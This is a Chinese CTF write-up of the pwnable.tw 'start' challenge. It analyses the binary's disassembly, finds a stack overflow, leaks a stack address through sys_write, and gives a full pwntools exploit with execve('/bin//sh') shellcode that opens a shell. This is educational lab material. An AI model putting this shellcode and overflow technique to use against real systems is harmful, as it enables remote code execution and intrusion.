首页 > 其他分享 >pwnable_tw | start

pwnable_tw | start

时间:2023-07-25 16:36:36浏览次数:36  
标签:xor esp tw pwnable start text push shellcode

分析

反汇编代码是两个系统调用:

__int64 start()
{
  __int64 result; // rax

  result = 0x3C00000003LL;
  __asm
  {
    int     80h; LINUX - sys_write
    int     80h; LINUX -
  }
  return result;
}

来看汇编:

.text:08048060                 public _start
.text:08048060 _start          proc near               ; DATA XREF: LOAD:08048018↑o
.text:08048060                 push    esp
.text:08048061                 push    offset _exit
.text:08048066                 xor     eax, eax
.text:08048068                 xor     ebx, ebx
.text:0804806A                 xor     ecx, ecx
.text:0804806C                 xor     edx, edx
.text:0804806E                 push    3A465443h
.text:08048073                 push    20656874h
.text:08048078                 push    20747261h
.text:0804807D                 push    74732073h
.text:08048082                 push    2774654Ch
.text:08048087                 mov     ecx, esp        ; addr
.text:08048089                 mov     dl, 14h         ; len
.text:0804808B                 mov     bl, 1           ; fd
.text:0804808D                 mov     al, 4
.text:0804808F                 int     80h             ; LINUX - sys_write
.text:08048091                 xor     ebx, ebx
.text:08048093                 mov     dl, 3Ch ; '<'
.text:08048095                 mov     al, 3
.text:08048097                 int     80h             ; LINUX -
.text:08048099                 add     esp, 14h
.text:0804809C                 retn
.text:0804809C _start          endp ; sp-analysis failed
.text:0804809C
.text:0804809D
.text:0804809D ; =============== S U B R O U T I N E =======================================
.text:0804809D
.text:0804809D ; Attributes: noreturn
.text:0804809D
.text:0804809D ; void exit(int status)
.text:0804809D _exit           proc near               ; DATA XREF: _start+1↑o
.text:0804809D
.text:0804809D status          = dword ptr  4
.text:0804809D
.text:0804809D                 pop     esp
.text:0804809E                 xor     eax, eax
.text:080480A0                 inc     eax
.text:080480A1                 int     80h             ; LINUX - sys_exit
.text:080480A1 _exit           endp ; sp-analysis failed
.text:080480A1
.text:080480A1 _text           ends
.text:080480A1
.text:080480A1
.text:080480A1                 end _start

看0x8048060到0x804809C即可,函数先是系统调用write,把"Let's start the CTF:"打印出来,这段字符串在前面分作5次被push入栈:

.text:0804806E                 push    3A465443h
.text:08048073                 push    20656874h
.text:08048078                 push    20747261h
.text:0804807D                 push    74732073h
.text:08048082                 push    2774654Ch

接着,系统调用read,读入字符长度为0x3c,因为前面总共才push了7次,那么栈的7*4 = 0x1c,明显是栈溢出了。现在要确定返回地址到输入字符串起始地址的偏移。

.text:08048099                 add     esp, 14h
.text:0804809C                 retn

可以看到,在后面直接把esp增加0x14就直接retn了,那么根据前面push的顺序,返回地址恰好是offset _exit,调试发现是0x804809D,所以到返回地址的偏移值是0x14。
查看保护机制:

    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)

完全没有保护,可以采取ret2shellcode,但并没有可写可执行的bss段。只能考虑把shellcode放在栈上。这就需要泄露一个栈地址以确定写入的shellcode的位置,进而ret到那里去。
这里有个write系统调用,自然用它来泄露,设置第一次的返回地址是0x8048087,那么打印出来的正是一开始push进去的esp的值,这是一个栈地址,记作first_esp。
接着考虑计算放置shellcode的地址。由于后面是会把esp增加0x14的,于是放置shellcode的地址等于first_rsp+0x14,然后就是padding和放置shellcode了。
image

Exp

from pwn import *
import sys

if len(sys.argv) == 3:
    [ip,port] = sys.argv[1:]
    io = remote(ip,port)
else:
    io = process('./start')
    elf = ELF('./start')
    libc = elf.libc
    # gdb.attach(io)

context(os='linux',arch='i386',log_level='debug')

shellcode = '''
xor eax,eax
xor ebx,ebx
xor ecx,ecx
xor edx,edx
push edx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
mov al,0xb
int 0x80
'''

# payload = b'a' * 0x14 + retaddr 
payload = b'a' * 0x14 + p32(0x8048087)

io.sendafter("CTF:",payload)
rsp = u32(io.recv(4))
print(hex(rsp))
shell_addr = rsp + 0x14
# pause()

shellcode = asm(shellcode)
payload = b'a' * 0x14 + p32(shell_addr) + shellcode
io.send(payload)
io.recv()
io.interactive()

# cat ./home/start/flag

标签:xor,esp,tw,pwnable,start,text,push,shellcode
From: https://www.cnblogs.com/liulangbxc/p/17580175.html

相关文章

  • 函数周期表丨时间智能丨表丨DATESBETWEEN
    DATESBETWEEN函数DATESBETWEEN函数隶属于“时间智能函数”,属于“表”函数。可以用作生成固定范围的日期,也可以用来作为限定条件来对聚合计算进行限制。在业务需求中,有时候需要将数据与上一阶段的数据进行对比,注意,这里说的是一个阶段,不是一个点;还有一种情况是需要用一段时间的数据作......
  • POJ 3694 Network
    POJ3694Network一、题目大意\(n\)个点,\(m\)个边,连通图。点与点之间通过边连接,如果切断某个边使得有点与其他点连接断开(连通分支增加),则称这种边为桥梁(离散上叫割边)。接下来有\(Q\)个操作,每操作一次,也就是切断某条边后,输出当前存在的桥梁数量。二、样例分析我们看这个4......
  • hadoop start
    hadoop各种资料http://www.linuxidc.com/Linux/2012-07/65972.htm 1.hadoop机架 2.镜像是什么意思镜像(Mirroring)是冗余的一种类型,一个磁盘上的数据在另一个磁盘上存在一个完全相同的副本即为镜像。镜像是一种文件存储形式,可以把许多文件做成一个镜像文件,与GHOST等程序放在一个盘......
  • Converting between XML and JSON
    1ConvertionbetweenXMLandJSONhttp://www.json.org/java/index.html  API:http://www.json.org/javadoc/org/json/XML.htmlpublicclassXMLextendsjava.lang.Object ThisprovidesstaticmethodstoconvertanXMLtextintoaJSONObject,andt......
  • Creating network "docker_default" with the default driver ERROR: Failed to S
    创建网络"docker_default"withthedefaultdriverERROR:FailedtoS在使用Docker容器时,有时会遇到以下错误信息:Creatingnetwork"docker_default"withthedefaultdriverERROR:FailedtoS。这个错误通常表示Docker无法创建名为"docker_default"的网络。本文将解释此错......
  • 关于 SAP_UI software component 的概要介绍
    SAPnote的主题是MaintenanceandUpdateStrategyforSAPFioriFront-EndServer.YouwanttostayinthesupportwindowsforSAPUI5inthesoftwarecomponentSAPNetWeaver"UserInterfaceTechnology"(SAP_UI)orformerlySAPNetWeaverUIadd-oncaro......
  • Ubuntu配置java程序的ExecStart
    Ubuntu配置Java程序的ExecStart在Ubuntu操作系统中,我们可以通过systemd服务配置来管理Java程序的启动。systemd是一个Linux系统的初始化系统和服务管理器,它提供了一种简单而强大的方式来管理系统上的进程。本文将指导你如何在Ubuntu上配置Java程序的ExecStart,确保你的Java程序能......
  • CF1004F Sonya and Bitwise OR
    考虑只有一次询问的时候怎么做。显然的cdq分治,每次分治区间\([l,r]\),统计跨过\(p=\lfloor\frac{l+r}{2}\rfloor\)的区间的个数。可以枚举区间左端点,由于右端点右移时区间或单调非降,可以双指针维护。充分发掘题目条件,由于是区间或,还有一个很套路的性质:一个位置\(x\),以其为......
  • 报from PyQt5.QtWidgets import * ImportError: DLL load failed: %1 不是有效的 Win3
    导入时,报fromPyQt5.QtWidgetsimport*ImportError:DLLloadfailed:%1不是有效的Win32application!查了很多资料,发现原来PyQt5安装包也是区分电脑位数的,我的电脑是32位的,装的PyQt5确是64位的,由于我这边用pipinstallPyQt5一直报timeout错误,所以我采用的是去官网直接下......
  • startx
    startx用来启动XWindow补充说明startx命令用来启动XWindow,实际上启动XWindow的程序为xinit。语法startx(参数)参数客户端及选项:X客户端及选项;服务器及选项:X服务器及选项。实例要在工作站上或X终端上启动X会话,请输入:startx要在工作站上强制启动X会话,请输......